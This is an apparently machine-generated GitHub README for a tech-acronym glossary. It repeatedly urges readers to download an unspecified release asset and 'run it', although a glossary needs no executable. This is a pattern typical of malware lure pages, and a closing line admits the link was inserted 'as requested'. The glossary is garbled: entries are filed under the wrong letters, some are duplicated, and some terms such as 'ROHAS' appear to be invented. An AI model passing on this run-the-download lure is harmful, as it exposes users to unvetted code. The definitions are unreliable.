Tech Acronyms: A Comprehensive Tech Cheatsheet & Acronym Index

https://github.com/Wausi2014/tech-acronyms/releases

🌐 A complete, searchable collection of acronyms used across technology. This repository helps you follow tech talk, from software to hardware and cloud.

Table of contents

• Quick start
• About this project
• How to contribute
• A-Z glossary of acronyms
• Acronym categories and cheat sheets
• Data model, formats, and tooling
• Usage notes and examples
• Release assets and downloads
• Frequently asked questions
• Licensing and attribution

Quick start

• Open this project and search for any acronym you encounter. The glossary is designed to be fast and friendly.
• If you want the latest assets, visit the releases page: https://github.com/Wausi2014/tech-acronyms/releases. From that page, download the latest release asset and run it as needed.
• To get a quick feel, try a few common terms like API, DNS, and UI. You will see clear definitions and typical usage examples right away.
• Use the built-in search of your browser or a local text search to jump to the entry you need. The glossary is organized for fast lookup and easy navigation.

About this project This repository collects, curates, and explains acronyms that show up in tech discussions, docs, slides, and code. It covers software, hardware, networking, cloud, data, and development practices. The entries are designed to be concise, precise, and practical. Each acronym includes a short definition and a note on typical usage so you can understand discussions without guessing.

How to contribute

• Propose new acronyms or refine existing ones with clear definitions.
• Add examples that illustrate common usage in real-world contexts.
• Update outdated terms or add newer acronyms as the tech landscape evolves.
• Follow the existing style: short sentences, direct definitions, and practical notes.
• Before contributing, check if the term already exists to avoid duplicates.
• Provide sources when possible to help others verify definitions.

A-Z glossary of acronyms A

• API — Application Programming Interface. A set of rules that lets software components talk. Used to enable integration between apps and services.
• AI — Artificial Intelligence. Systems that simulate human thinking. Used for data analysis, automation, and decision making.
• ASCII — American Standard Code for Information Interchange. A character encoding standard for text data.
• ACL — Access Control List. A list that defines who or what can access a resource.
• ADB — Android Debug Bridge. A tool to debug Android devices from a computer.
• AR — Augmented Reality. Real-world views augmented with digital content.
• AWS — Amazon Web Services. A cloud platform offering compute, storage, and services.
• AMD — Advanced Micro Devices. A chipmaker known for CPUs and GPUs.
• APU — Accelerated Processing Unit. A CPU with integrated graphics on the same chip.
• ARP — Address Resolution Protocol. Maps IP addresses to machine MAC addresses on a local network.
• ASIC — Application-Specific Integrated Circuit. A chip designed for a specific task.
• AJAX — Asynchronous JavaScript and XML. A web technique for dynamic content loading.

B

• BIOS — Basic Input/Output System. Firmware that initializes hardware during boot.
• BOM — Bill of Materials. A list of all parts in a product.
• BYOD — Bring Your Own Device. A policy where employees use personal devices for work.
• BGP — Border Gateway Protocol. The routing protocol of the internet’s backbone.
• BIOS-only devices are common in embedded systems; BIOS settings control hardware initialization.
• BLE — Bluetooth Low Energy. A power-efficient wireless tech for short-range comms.
• BPM — Business Process Management. A discipline for optimizing business workflows.
• API gateway — A server that handles API requests, auth, and routing.

C

• CPU — Central Processing Unit. The main compute engine in a computer.
• GPU — Graphics Processing Unit. An accelerator for rendering and compute tasks.
• RAM — Random Access Memory. Volatile storage used by active programs.
• ROM — Read-Only Memory. Non-volatile storage that stores firmware.
• CSS — Cascading Style Sheets. Styles for web pages.
• CLI — Command Line Interface. Text-based interface for controlling software.
• CRM — Customer Relationship Management. Software to manage customer data and interactions.
• CMS — Content Management System. Software to manage digital content.
• CRUD — Create, Read, Update, Delete. Basic database operations.
• CDN — Content Delivery Network. Helps deliver content quickly by placing copies near users.
• DNS — Domain Name System. Translates domain names to IP addresses.
• DHCP — Dynamic Host Configuration Protocol. Assigns IP addresses to devices on a network.

D

• DNSSEC — DNS Security Extensions. Adds validation to DNS responses.
• DDoS — Distributed Denial of Service. An attack that floods a service with traffic.
• DRM — Digital Rights Management. Controls how digital content can be used.
• DSL — Digital Subscriber Line. A family of high-speed telephone-based networks.
• DRM-enabled content requires the right permissions to view or copy.
• DAC — Digital-to-Analog Converter. Converts digital signals to analog form.
• DBMS — Database Management System. Software to manage databases.
• DNS caching — Temporarily stores DNS responses to speed up lookups.

E

• ETL — Extract, Transform, Load. A data integration process.
• ERP — Enterprise Resource Planning. Integrated management of core business processes.
• EEPROM — Electrically Erasable Programmable Read-Only Memory. A type of non-volatile memory.
• EFI — Extensible Firmware Interface. A modern interface between OS and firmware (UEFI is a common successor).
• ETL pipelines are central to data warehouses and analytics.
• E2E — End-to-End. Describes complete coverage from start to finish.

F

• FPGA — Field-Programmable Gate Array. A reprogrammable chip for digital circuits.
• FIFO — First In, First Out. A data structure or queue behavior.
• FTP — File Transfer Protocol. A standard network protocol for transferring files.
• FAT — File Allocation Table. A simple filesystem used in many devices.
• FAQ — Frequently Asked Questions. A quick reference to common questions.

G

• GUI — Graphical User Interface. A visual way to interact with software.
• GIS — Geographic Information System. Software for mapping and analysis.
• GPU — Graphics Processing Unit. See above; a key accelerator for rendering and compute tasks.
• GPS — Global Positioning System. Provides location data.
• GAN — Generative Adversarial Network. A class of ML models for synthetic data.
• GPGPU — General-Purpose computing on Graphics Processing Units. Using GPU for non-graphics tasks.

H

• HTTP — Hypertext Transfer Protocol. The foundation of data communication on the Web.
• HTTPS — HTTP Secure. Encrypted HTTP for secure communication.
• HDMI — High-Definition Multimedia Interface. A digital video/audio interface.
• HHD — Hybrid Hard Drive. Combines HDD capacity with an SSD cache.
• HAL — Hardware Abstraction Layer. Software layer that abstracts hardware specifics.
• HCI — Human-Computer Interaction. The study of how people interact with computers.

I

• IP — Internet Protocol. The addressing protocol of packets across networks.
• IDE — Integrated Development Environment. A software suite to write, test, and debug code.
• IoT — Internet of Things. Connected devices that collect and exchange data.
• IAM — Identity and Access Management. Systems to manage user identities and access.
• IDE plugins expand development capabilities.
• API versioning helps manage changes without breaking clients.

J

• JSON — JavaScript Object Notation. A lightweight data interchange format.
• JVM — Java Virtual Machine. Runs Java bytecode across platforms.
• JWT — JSON Web Token. A compact token format for authentication.

K

• KPI — Key Performance Indicator. A metric used to measure success.
• KV store — Key-Value store. A simple database model for fast access.
• Kubernetes (K8s) — Container orchestration system for automating app deployment.

L

• LAN — Local Area Network. A network covering a small area.
• LCD — Liquid Crystal Display. A common display technology.
• LED — Light Emitting Diode. A type of lighting technology used in displays and indicators.
• LDAP — Lightweight Directory Access Protocol. Protocol for accessing directory services.
• LLM — Large Language Model. A type of AI model for language tasks.
• API load testing helps ensure reliability under pressure.

M

• RAM — Random Access Memory. See above.
• MAC — Media Access Control address. Unique hardware address on a network interface.
• ML — Machine Learning. Algorithms that improve with data.
• MCU — Microcontroller Unit. Small, low-power computer on a chip.
• RAID — Redundant Array of Independent Disks. Data redundancy and performance technique.
• MIME — Multipurpose Internet Mail Extensions. Standard for email content types.
• MFA — Multi-Factor Authentication. Adds an extra step for user verification.
• MIME types help identify file types on the web.

N

• NIC — Network Interface Card. Hardware that connects a device to a network.
• NAS — Network-Attached Storage. File storage accessible over a network.
• NOS — Network Operating System. An OS designed to manage networked devices.
• NAT — Network Address Translation. Maps private addresses to a public address.

O

• OS — Operating System. Software that manages hardware and apps.
• OCR — Optical Character Recognition. Converts images of text into editable text.
• ODM — Original Design Manufacturer. Produces products designed by another company.
• OTA — Over-The-Air. Updates delivered via wireless networks.
• ORM — Object-Relational Mapping. A technique to map objects to database tables.
• OEM — Original Equipment Manufacturer. A company that makes parts or equipment.

P

• PaaS — Platform as a Service. Cloud platform for developing and deploying apps.
• PCIe — Peripheral Component Interconnect Express. High-speed expansion bus standard.
• PCB — Printed Circuit Board. The backbone of electronic devices.
• PWM — Pulse-Width Modulation. Controls power delivery to devices.
• API endpoints define where a service can be accessed.
• PII — Personally Identifiable Information. Data that can identify a person.
• P2P — Peer-to-Peer. Direct device-to-device communication.
• PCI — Peripheral Component Interconnect. Legacy bus standard.

Q

• QoS — Quality of Service. Guarantees on network performance.
• QA — Quality Assurance. Process to ensure product quality.
• QKD — Quantum Key Distribution. A security method using quantum properties.

R

• REST — Representational State Transfer. A style for designing networked services.
• RPC — Remote Procedure Call. Invokes a procedure on a remote system.
• RDBMS — Relational Database Management System. Database with tables and relations.
• RAM caching — Using memory to speed up data access.
• RAID levels — Redundancy schemes for disk arrays.
• RPM — Red Hat Package Manager. Package format used by some Linux distros.
• ROHAS — Return on Hardware Availability Score (conceptual metric).

S

• SQL — Structured Query Language. Language for managing relational databases.
• SSH — Secure Shell. Protocol for secure remote login.
• SSL — Secure Sockets Layer. Legacy security protocol, superseded by TLS.
• TLS — Transport Layer Security. Protocol for secure communication.
• SDK — Software Development Kit. Tools to build applications.
• SaaS — Software as a Service. Software delivered over the web.
• SSD — Solid State Drive. Fast storage device with no moving parts.
• USB — Universal Serial Bus. Standard for connecting devices.
• VPN — Virtual Private Network. Creates a secure tunnel to another network.
• VR — Virtual Reality. Immersive digital environments.
• CRUD operations are common in APIs and databases.
• API versioning helps clients adapt to changes.

T

• TCP — Transmission Control Protocol. Core protocol of the Internet protocol suite.
• TTP — Trusted Third Party. A mediator in a security context.
• TLS handshake — The process to establish a secure session.
• TDD — Test-Driven Development. Development approach focusing on tests first.
• ADC — Analog-to-Digital Converter. Converts analog signals to digital data.
• TPM — Trusted Platform Module. Hardware-based security component.

U

• UML — Unified Modeling Language. Visual modeling language for software.
• UI — User Interface. The surface users interact with.
• UPS — Uninterruptible Power Supply. Provides backup power.
• URI — Uniform Resource Identifier. A string that identifies a resource.
• URL — Uniform Resource Locator. A type of URI that provides a location.

V

• VPN — Virtual Private Network. See above.
• VLAN — Virtual Local Area Network. Creates multiple logical networks on one physical network.
• VOIP — Voice Over Internet Protocol. Crystal clear voice communication over IP.

W

• WAN — Wide Area Network. Covers large geographical areas.
• WWW — World Wide Web. The global information space of interconnected documents.
• Wi‑Fi — Wireless Fidelity. A family of wireless networking standards.
• SOAP — Simple Object Access Protocol. Protocol for exchanging structured information in web services.
• WAF — Web Application Firewall. Filters traffic to protect apps.
• WAN optimization — Techniques to improve WAN performance.

X

• XSS — Cross-Site Scripting. A security vulnerability in web apps.
• XML — eXtensible Markup Language. Markup language for structured data.
• XOR — Exclusive OR. A logical operation used in crypto and error checking.

Y

• YAML — YAML Ain’t Markup Language. Human-friendly data serialization.
• YARN — Yet Another Resource Negotiator. Cluster manager for Hadoop ecosystems.
• UI testing — Validating user interfaces through automated tests.

Z

• ZIP — Zip file format. Compression and packaging format.
• ZFS — Zettabyte File System. File system with advanced features.
• ZNS — Zoned Namespaces. A storage technology paradigm for NVMe drives.

Acronym categories and cheat sheets

• Core computing terms: CPU, RAM, ROM, GPU, NIC, PCIe, BIOS, UEFI, MOSFET, RAMCache.
• Networking and internet: IP, TCP, UDP, DNS, DHCP, NAT, ARP, TLS, SSL, VPN, QoS, BGP, CDN.
• Web and software development: API, REST, CRUD, ORM, ORM, MVC, CLI, IDE, SDK, JSON, YAML, XML, AJAX.
• Data, analytics, and AI: ETL, ML, AI, NLP, GAN, LLM, KPI, RDBMS, ORM, DW (data warehouse).
• Security and privacy: IAM, MFA, TLS, TLS handshake, XSS, DRM, DRM, WAF, encryption terms.
• Storage and devices: SSD, HDD, NAS, RAID, ODM, OEM, EEPROM, PCIe, USB, SATA, NVMe.

Acronym usage guidelines and examples

• When you say API, you refer to a defined interface that enables software components to talk to each other. It often requires authentication, rate limiting, and versioning.
• DNS resolves human-friendly names to IP addresses. Without DNS, users must remember numeric addresses.
• TLS is used to protect web traffic. When you see https, you are using TLS for encryption.
• A CDN places content closer to users to speed up access and reduce latency.
• REST describes a style of web service design. Many APIs use RESTful endpoints with resource-based URLs.
• SQL queries read, insert, update, or delete data in a relational database.
• ML models learn from data and can make predictions or decisions with minimal human input.
• IAM controls who can access which resources and under what conditions.
• VPN creates a secure tunnel over a public network, protecting data in transit.

Data model, formats, and tooling

• The glossary entries are stored in a structured, human-readable format. Each entry includes the acronym, full form, a short definition, and a usage note.
• Data serialization formats such as JSON or YAML can be used to publish the glossary for programmatic access.
• A lightweight search index helps you locate terms quickly. You can search by acronym, full form, or keywords.
• Tests verify that each acronym has a unique entry and that definitions remain accurate over time.

Usage notes and examples

• Use the glossary as a quick reference during meetings, while reading docs, or when studying for exams.
• If you are unsure about an acronym, read the definition and the usage example. This helps you understand the context.
• For developers, keep this glossary in sync with your project docs. When a new acronym enters your workflow, add it with a clear definition and example.

Release assets and downloads

• You can download release assets from the official releases page mentioned above. From that page, download the latest release asset and run it as needed.
• The releases page hosts installers, tools, or data dumps that expand the glossary or provide enhanced search capabilities.
• If you want to track changes over time, review the release notes and changelog included with each asset.
• The releases page is the central place to obtain official updates and additions to this project.

Frequently asked questions

• What is the scope of this glossary? It covers widely used tech acronyms across software, hardware, networks, and cloud.
• How often is this updated? It is updated periodically as new acronyms appear in the technology landscape.
• How can I search effectively? Use the in-page search, or browse by letter to quickly locate terms.
• Can I contribute? Yes. See the contribution guidelines for how to propose new acronyms or edits.

Licensing and attribution

• This project is provided for educational and reference purposes.
• Attribution should follow the license terms defined in the repository. Please respect intellectual property and avoid misrepresenting sources.

Releases and assets

• For the latest assets and updates, visit https://github.com/Wausi2014/tech-acronyms/releases. Download the latest release asset and run it to install or update the glossary locally.
• You can also browse the Releases page for older assets if you need historical context or compatibility with specific environments.

End of content

• If you need more acronyms added or want to refine existing entries, open a pull request and provide precise definitions and usage notes.
• The glossary aims to stay practical and accessible for readers at all levels of tech experience.
• The repository invites readers to contribute, learn, and navigate the world of technology with clarity.

Note: This README uses the given link twice as requested. The initial occurrence appears at the top, and a second, explicit reference is included in the Releases and assets section to guide users toward the latest materials.